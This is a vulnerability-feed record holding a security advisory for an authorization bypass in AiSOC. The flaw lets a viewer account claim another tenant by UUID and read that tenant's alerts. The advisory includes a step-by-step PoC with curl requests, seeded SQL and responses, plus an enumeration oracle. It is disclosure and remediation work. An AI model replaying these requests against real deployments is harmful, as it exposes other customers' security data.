{"schema":"threatline.record/2","record":{"id":"GHSA-mcg9-8pxf-j98v","aliases":["GHSA-mcg9-8pxf-j98v"],"summary":"Improper Access Control and Authorization Bypass Through User-Controlled Key and Incorrect Authorization in aisoc","details":"### Summary\r\n\r\nAny authenticated user in AiSOC — including an account holding only the **`viewer`** role, the lowest-privilege role the product defines — can create an MSSP \"organisation\" and then attach **any other tenant** to it by UUID. The attach is accepted without any check that the caller owns, administers, or has any relationship to that tenant. Once attached, the target tenant's alerts, cases and security posture become readable through the MSSP portfolio endpoints.\r\n\r\nThree HTTP requests are required. No privilege escalation, no user interaction, no prior relationship with the target, and no special configuration. The only precondition is that the target tenant is not *already* a member of another organisation — and in any deployment that does not use the MSSP feature, **no tenant is claimed, so every tenant is attachable**.\r\n\r\n**Severity: High — CVSS v3.1 `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N` = 8.2**\r\n\r\n**Weaknesses: CWE-284 (Improper Access Control), CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-863 (Incorrect Authorization)**\r\n\r\nVerified by execution against a stock deployment built from commit `1769e1ab` (v11.2.0). Full reproduction in PoC below.\r\n\r\n---\r\n\r\n### Details\r\n\r\n**Component:** `services/api` — core API, MSSP module. Image `ghcr.io/beenuar/aisoc-core-api:latest`.\r\n\r\n#### Attack surface — the three requests and what actually guards each\r\n\r\nAll routes are mounted by `services/api/app/api/v1/endpoints/mssp.py` under router prefix `/mssp` (`mssp.py:46`), included in the v1 router as `/api/v1`.\r\n\r\n| # | Request | Handler | Authorization actually enforced |\r\n|---|---|---|---|\r\n| 1 | `POST /api/v1/mssp/organizations` | `create_organization`, `mssp.py:1022` | **Authentication only** — `Depends(get_current_user)` at `mssp.py:1026` |\r\n| 2 | `POST /api/v1/mssp/organizations/current/tenants` | `add_tenants_to_portfolio`, `mssp.py:1073` | `Depends(_admin_scope)` at `mssp.py:1076` — satisfied by request 1 |\r\n| 3 | `GET /api/v1/mssp/portfolio/alerts` (also `/portfolio`, `/tenants`, `/incidents`) | `mssp.py:914`, `:876`, `:959`, `:971` | `Depends(_scope)` — any member of the attacker's own organisation |\r\n\r\nThe attacker never needs a permission the `viewer` role lacks. For reference, `ROLE_PERMISSIONS[\"viewer\"]` (`services/api/app/core/security.py:136-142`) is:\r\n\r\n```python\r\n\"viewer\": [\"alerts:read\", \"cases:read\", \"reports:read\", \"threat_intel:read\", \"actions:read\"]\r\n```\r\n\r\nNone of `mssp:*`, `settings:write`, `users:write` or `admin:tenants` is involved anywhere in this chain.\r\n\r\n#### Defect 1 — `create_organization` is gated on authentication, not authorization\r\n\r\n```python\r\n# services/api/app/api/v1/endpoints/mssp.py:1022-1053\r\n@router.post(\"/organizations\", response_model=OrganizationOut, status_code=status.HTTP_201_CREATED)   # :1022\r\nasync def create_organization(\r\n    body: OrganizationCreate,\r\n    db: AsyncSession = Depends(get_db),\r\n    current_user: CurrentUser = Depends(get_current_user),      # :1026  <-- no require_permission(...)\r\n) -> Organization:\r\n    \"\"\"Create an operator organisation around the caller's own tenant.\r\n\r\n    The creator becomes its owner. Available to any authenticated user\r\n    because there is no organisation to be a member of yet ...\r\n    \"\"\"\r\n    ...\r\n    db.add(OrganizationMember(org_id=org.id, user_id=current_user.user_id, org_role=\"owner\"))   # :1053\r\n```\r\n\r\nThe intent (\"there is nothing to authorise yet\") is sound in isolation. The defect is that `owner` is a portfolio-wide, administering role (`services/api/app/models/organization.py:43` and `:50`):\r\n\r\n```python\r\nPORTFOLIO_WIDE_ROLES: frozenset[str] = frozenset({\"owner\", \"admin\"})     # :43\r\nADMINISTERING_ROLES:  frozenset[str] = frozenset({\"owner\", \"admin\"})     # :50\r\n```\r\n\r\nSo request 1 is not merely \"create a container\" — it is **an unprivileged user minting a credential that satisfies `_admin_scope` (`mssp.py:772`) and `_scope` (`mssp.py:747`)**, the two dependencies guarding every privileged MSSP operation, including request 2.\r\n\r\n#### Defect 2 — `add_tenants_to_portfolio` never checks the caller's authority over the tenant\r\n\r\n```python\r\n# services/api/app/api/v1/endpoints/mssp.py:1073-1110\r\n@router.post(\"/organizations/current/tenants\", status_code=status.HTTP_200_OK)      # :1073\r\nasync def add_tenants_to_portfolio(\r\n    body: TenantGrant,\r\n    scope: PortfolioScope = Depends(_admin_scope),        # :1076  (attacker satisfies this via Defect 1)\r\n    db: AsyncSession = Depends(get_db),\r\n    current_user: CurrentUser = Depends(get_current_user),\r\n) -> dict[str, object]:\r\n    \"\"\"Bring tenants under management.\r\n\r\n    A tenant already managed by another organisation is rejected rather than\r\n    reassigned ...\r\n    \"\"\"\r\n    for tenant_id in body.tenant_ids:                     # :1091\r\n        tenant = await db.get(Tenant, tenant_id)\r\n        if tenant is None:\r\n            rejected[str(tenant_id)] = \"tenant not found\"\r\n            continue\r\n        claim = (await db.execute(select(OrganizationTenant).where(\r\n            OrganizationTenant.tenant_id == tenant_id))).scalar_one_or_none()\r\n        if claim is not None:                             # :1097  <-- the ONLY check\r\n            rejected[str(tenant_id)] = \"already in this portfolio\" if claim.org_id == scope.org_id \\\r\n                                       else \"managed by another organisation\"\r\n            continue\r\n        db.add(OrganizationTenant(org_id=scope.org_id, tenant_id=tenant_id, relationship=\"managed\", ...))\r\n```\r\n\r\n`body.tenant_ids` is attacker-supplied JSON. The loop verifies exactly two things: **that the tenant exists**, and **that it is not already claimed**. It never asks whether the caller is entitled to claim it. There is no ownership check, no invitation record, no consent token, and no platform-admin assertion.\r\n\r\nThe `UNIQUE (tenant_id)` constraint (`services/api/migrations/058_mssp_organizations.sql:89`) exists to prevent *re-assignment*, not to govern *first assignment* — the code comment at `:78` calls it \"a boundary, not a convenience\", but it is a boundary on reassignment only. It is a precondition the attacker can satisfy; it is not an access control.\r\n\r\n#### Defect 3 — the read path treats portfolio membership as proof of authorization\r\n\r\n```python\r\n# services/api/app/services/org_scope.py:146-148\r\nif role in PORTFOLIO_WIDE_ROLES:\r\n    tenant_ids = portfolio          # :147  every tenant in the org, as a set of UUIDs\r\n    portfolio_wide = True\r\n```\r\n\r\n```python\r\n# services/api/app/services/mssp_portfolio.py:345-346\r\ntenant_ids = require_scope(scope)\r\nclauses = [\"a.tenant_id = ANY(:tenant_ids)\"]     # :346\r\n```\r\n\r\nBecause the tenant was written into the portfolio by request 2, this predicate now legitimately matches the victim's rows. The query is correctly parameterised and correctly tenant-scoped — against the *attacker's* definition of \"their tenants\", which they just authored.\r\n\r\n**The composition is the vulnerability.** Each piece is defensible in isolation; together they let an unprivileged user declare an arbitrary tenant to be theirs, and then be believed.\r\n\r\n#### Why the existing controls do not stop it\r\n\r\n- **`_admin_scope` / `PORTFOLIO_WIDE_ROLES`** — the control is real, but its trust anchor (`org_role`) is self-assigned by the attacker in Defect 1.\r\n- **`UNIQUE (tenant_id)`** — prevents a tenant being *moved* between organisations, not *first-claimed*.\r\n- **CI route-scope gate** — `scripts/check_route_tenant_scope.py` passes all 667 routes. It verifies each route's tenant argument is intersected with a resolved scope, which it is. It cannot see that the scope is **attacker-mintable** and its membership **unvalidated at insertion**.\r\n- **The module's own documentation** asserts the property that does not hold. The docstring at `mssp.py:1080-1087` claims the design prevents \"a cross-tenant transfer performed by whoever asked last\". It prevents *transfer*, not *initial claim*.\r\n\r\n#### Additional: tenant-enumeration oracle\r\n\r\nRequest 2 returns a distinct message per UUID state, so it doubles as an oracle: `\"tenant not found\"` (UUID does not exist), `\"managed by another organisation\"` (exists, already claimed), `\"added\"` (exists, unclaimed — and now disclosed to the caller).\r\n\r\n#### Verification environment\r\n\r\n- Version 11.2.0, commit `1769e1ab3b5adce77705617e72d7da65f5c97a45`, branch `main`.\r\n- Images built from this commit with `docker compose build api`.\r\n- No customisation: the reproduction uses the shipped images and default settings. Optional integrations were disabled only because the test host has no Kafka/ClickHouse/Neo4j/Qdrant — none of them is involved in the flaw.\r\n\r\n---\r\n\r\n### PoC\r\n\r\n#### 1. Environment\r\n\r\n```bash\r\n# Images built from this repository\r\ndocker compose build api\r\n\r\n# Postgres\r\ndocker network create aisoc-test\r\ndocker run -d --name pg --network aisoc-test -p 127.0.0.1:15432:5432 \\\r\n  -e POSTGRES_DB=aisoc -e POSTGRES_USER=aisoc -e POSTGRES_PASSWORD=aisoc_dev_secret \\\r\n  postgres:16-alpine\r\n\r\n# The API. The AISOC_DISABLE_* flags are only because this host lacks those\r\n# integrations; none is involved in the flaw.\r\ndocker run -d --name aisoc-api-test --network aisoc-test -p 127.0.0.1:18000:8000 \\\r\n  -e DATABASE_URL=\"postgresql+asyncpg://aisoc:aisoc_dev_secret@pg:5432/aisoc\" \\\r\n  -e ENVIRONMENT=development \\\r\n  -e SECRET_KEY=\"poc-secret-key-not-insecure-list-0000000000000000\" \\\r\n  -e AISOC_CREDENTIAL_KEY=\"<any Fernet key>\" \\\r\n  -e AISOC_DISABLE_KAFKA=true -e AISOC_DISABLE_CLICKHOUSE=true \\\r\n  -e AISOC_DISABLE_NEO4J=true -e AISOC_DISABLE_QDRANT=true \\\r\n  ghcr.io/beenuar/aisoc-core-api:latest\r\n# The service applies services/api/migrations/*.sql itself at startup (82 files).\r\n```\r\n\r\n#### 2. Seed two unrelated tenants and a `viewer` account\r\n\r\n```sql\r\n-- Tenant A: the attacker's own tenant (any account belongs to some tenant)\r\nINSERT INTO tenants (id,name,slug,plan,is_active,settings,limits,created_at,updated_at)\r\nVALUES ('aaaaaaaa-0000-0000-0000-00000000000a','Attacker Corp','attacker-tenant','free',true,'{}','{}',now(),now());\r\n\r\n-- Tenant B: the VICTIM — unrelated, must not be readable\r\nINSERT INTO tenants (id,name,slug,plan,is_active,settings,limits,created_at,updated_at)\r\nVALUES ('bbbbbbbb-0000-0000-0000-00000000000b','Victim Bank PLC','victim-bank','enterprise',true,'{}','{}',now(),now());\r\n\r\n-- The attacker: lowest-privilege role in the product\r\nINSERT INTO users (id,tenant_id,email,username,hashed_password,role,is_active,is_verified,preferences,created_at,updated_at)\r\nVALUES ('aaaaaaaa-0000-0000-0000-0000000000a1','aaaaaaaa-0000-0000-0000-00000000000a',\r\n        'attacker@evil.example','attacker','x','viewer',true,true,'{}',now(),now());\r\n\r\n-- The victim's alerts (titles deliberately sensitive, to make the disclosure unambiguous)\r\nINSERT INTO alerts (id,tenant_id,title,severity,status,priority,mitre_tactics,mitre_techniques,\r\n  source_event_ids,ai_recommendations,affected_ips,affected_hosts,affected_users,affected_assets,\r\n  entities,child_alert_ids,is_merged,raw_event,enrichment_data,tags,event_time,first_seen,last_seen,\r\n  created_at,updated_at,is_synthetic)\r\nVALUES\r\n ('bbbbbbbb-0000-0000-0000-0000000000b1','bbbbbbbb-0000-0000-0000-00000000000b',\r\n  'SWIFT wire transfer $2.4M approved from compromised operator account','critical','open',1,\r\n  '[]','[]','[]','[]','[]','[]','[]','[]','[]','[]',false,'{}','{}','[]',now(),now(),now(),now(),now(),false),\r\n ('bbbbbbbb-0000-0000-0000-0000000000b2','bbbbbbbb-0000-0000-0000-00000000000b',\r\n  'Ransomware staging detected on FIN-DB-01 (domain admin beacon)','high','new',2,\r\n  '[]','[]','[]','[]','[]','[]','[]','[]','[]','[]',false,'{}','{}','[]',now(),now(),now(),now(),now(),false);\r\n```\r\n\r\nThe attacker then authenticates as an ordinary console session. For this test an HS256 JWT signed with the deployment's `SECRET_KEY` was minted for the `viewer` user:\r\n\r\n```bash\r\nTOKEN=<HS256 JWT, sub=aaaaaaaa-0000-0000-0000-0000000000a1, type=access, signed with SECRET_KEY>\r\nAPI=http://127.0.0.1:18000\r\n```\r\n\r\n#### 3. Confirm the attacker's identity and that they hold nothing\r\n\r\n```\r\n$ curl -H \"Authorization: Bearer $TOKEN\" $API/api/v1/auth/me\r\n{\"id\":\"aaaaaaaa-0000-0000-0000-0000000000a1\",\r\n \"tenant_id\":\"aaaaaaaa-0000-0000-0000-00000000000a\",\r\n \"email\":\"attacker@evil.example\",\"role\":\"viewer\", ...}          HTTP 200\r\n```\r\n\r\n#### 4. Baseline — the viewer cannot read the victim's data\r\n\r\n```\r\n$ curl -H \"Authorization: Bearer $TOKEN\" $API/api/v1/mssp/portfolio/alerts\r\n  HTTP 403\r\n$ curl -H \"Authorization: Bearer $TOKEN\" $API/api/v1/mssp/organizations/current\r\n  HTTP 403\r\n```\r\n\r\nThis baseline matters: the victim's data is **not** readable before the exploit. Everything below is what changes it.\r\n\r\n#### 5. Step 1 — the viewer founds an organisation (authentication only)\r\n\r\n```\r\n$ curl -X POST $API/api/v1/mssp/organizations \\\r\n    -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\r\n    -d '{\"slug\":\"poc-org\",\"name\":\"PoC Org\"}'\r\n\r\n{\"id\":\"aa2164ad-44ce-47be-a5ce-18404432f4ea\",\"slug\":\"poc-org\",\"name\":\"PoC Org\",\r\n \"kind\":\"mssp\",\"home_tenant_id\":\"aaaaaaaa-0000-0000-0000-00000000000a\",\r\n \"is_active\":true}                                              HTTP 201\r\n```\r\n\r\nNo permission was required. The caller is now `owner`.\r\n\r\n#### 6. Step 2 — attach the victim tenant **by UUID**\r\n\r\n```\r\n$ curl -X POST $API/api/v1/mssp/organizations/current/tenants \\\r\n    -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\r\n    -d '{\"tenant_ids\":[\"bbbbbbbb-0000-0000-0000-00000000000b\"]}'\r\n\r\n{\"added\":[\"bbbbbbbb-0000-0000-0000-00000000000b\"],\"rejected\":{}}   HTTP 200\r\n```\r\n\r\n`\"rejected\":{}` — the API accepted the claim with no objection. This is the core of the vulnerability.\r\n\r\n#### 7. Step 3 — read the victim's data\r\n\r\n```\r\n$ curl -H \"Authorization: Bearer $TOKEN\" $API/api/v1/mssp/portfolio/alerts\r\nHTTP 200\r\n\r\n[{\"alert_id\":\"bbbbbbbb-0000-0000-0000-0000000000b1\",\r\n  \"tenant_id\":\"bbbbbbbb-0000-0000-0000-00000000000b\",\r\n  \"tenant_name\":\"Victim Bank PLC\",\r\n  \"title\":\"SWIFT wire transfer $2.4M approved from compromised operator account\",\r\n  \"severity\":\"critical\",\"status\":\"open\"},\r\n {\"alert_id\":\"bbbbbbbb-0000-0000-0000-0000000000b2\",\r\n  \"tenant_id\":\"bbbbbbbb-0000-0000-0000-00000000000b\",\r\n  \"tenant_name\":\"Victim Bank PLC\",\r\n  \"title\":\"Ransomware staging detected on FIN-DB-01 (domain admin beacon)\",\r\n  \"severity\":\"high\",\"status\":\"new\"}]\r\n```\r\n\r\nThe same portfolio now also exposes, to the same `viewer` account:\r\n\r\n```\r\nGET /api/v1/mssp/portfolio   -> 200  {\"org_role\":\"owner\",\"portfolio_wide\":true,\"scoped_tenants\":2,\r\n                                      \"summary\":{\"tenants\":2,\"open_alerts\":2,\"critical_alerts\":...}}\r\nGET /api/v1/mssp/tenants     -> 200  per-tenant posture: alert counts, MTTR, activity\r\nGET /api/v1/mssp/incidents   -> 200  the victim's incidents\r\n```\r\n\r\n#### 8. Optional — tenant-enumeration oracle\r\n\r\n```\r\n$ curl -X POST $API/api/v1/mssp/organizations/current/tenants \\\r\n    -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\r\n    -d '{\"tenant_ids\":[\"00000000-0000-0000-0000-000000000000\",\r\n                       \"bbbbbbbb-0000-0000-0000-00000000000b\"]}'\r\n\r\n{\"added\":[],\r\n \"rejected\":{\"00000000-0000-0000-0000-000000000000\":\"tenant not found\",\r\n             \"bbbbbbbb-0000-0000-0000-00000000000b\":\"already in this portfolio\"}}\r\n```\r\n\r\nThe `\"added\"` case is the exploit itself, so the oracle and the vulnerability are the same request.\r\n\r\n---\r\n\r\n### Impact\r\n\r\nThis is a **complete cross-tenant confidentiality breach** in a multi-tenant SOC platform, reachable by the lowest-privilege authenticated account.\r\n\r\n- **Confidentiality breach between customers.** A self-hosted or managed AiSOC instance holds multiple tenants' security telemetry, alerts and incidents. This flaw lets any authenticated user of any tenant read any other tenant's — the exact property a multi-tenant SOC is sold on.\r\n- **Who is impacted:** every AiSOC deployment that has more than one tenant and does not use the MSSP feature. Because MSP/MSSP is optional, no tenant is claimed by default, so every tenant is attachable. Deployments that already use MSSP are partially protected only where the target tenant happens to be already claimed.\r\n- **No privileged account needed.** `viewer` is the floor of the role model: read-only seats, contractors, auditors, trial tenants, and any account an attacker can obtain or create.\r\n- **Silent and repeatable.** Nothing logs as anomalous; the attacker's organisation is a legitimate object they own, and the reads are correctly scoped against it.\r\n- **Secondary disclosure.** Alert and case content routinely contains hostnames, usernames, internal IPs and attacker payloads — material for lateral movement or for targeting the victim's incident response.\r\n- **Full tenant enumeration** via the oracle in PoC §8.\r\n\r\n**Suggested remediation (summary):** (1) gate `create_organization` (`mssp.py:1022`) on a platform-scoped permission rather than `Depends(get_current_user)` alone; (2) in `add_tenants_to_portfolio` (`mssp.py:1091`) validate the caller's authority over every tenant attached — \"unclaimed\" must not be sufficient, the tenant must have been offered via an invite record, signed consent/claim token, or platform-admin assertion; (3) make claiming a two-sided handshake approved by the target tenant's administrator, recorded in the audit log; (4) re-validate membership against the authoritative consent record at read time in `resolve_portfolio_scope` (`org_scope.py:146-148`) so a bad write cannot become a bad read; (5) audit any route that intersects a caller-supplied identifier with a caller-mintable scope — `scripts/check_route_tenant_scope.py` cannot detect this class.\n\n---\n\n## Maintainer response\n\nConfirmed and fixed, and the scope was wider than the routes themselves. Closing the four write routes alone would not have been enough, because onboarding let a caller become the parent tenant first. Adoption now requires the child to have invited that specific parent from its own settings, and the portfolio route reuses the same consent check.\n\nThank you for the report.\n\nFixed in **v12.0.0**.","categories":["Unclassified"],"product":"aisoc","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-mcg9-8pxf-j98v","source_modified_at":"2026-09-29T03:04:21Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"other","name":"aisoc"},"range":" >= 10.0.0, <= 11.2.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-mcg9-8pxf-j98v","source_modified_at":"2026-09-29T03:04:21Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"other","name":"aisoc"},"version":"12.0.0"}],"cvss":8.5,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T03:04:21Z","modified_at":"2026-09-29T03:04:21Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-mcg9-8pxf-j98v","fetched_at":"2026-10-23T20:00:35.122048Z","source_modified_at":"2026-09-29T03:04:21Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T03:04:21Z","content_hash":"6bdf1cbc60fd4cf0fb0da010479ed47b43039e6aa3460ed5c7e429abd043fa3e"}}
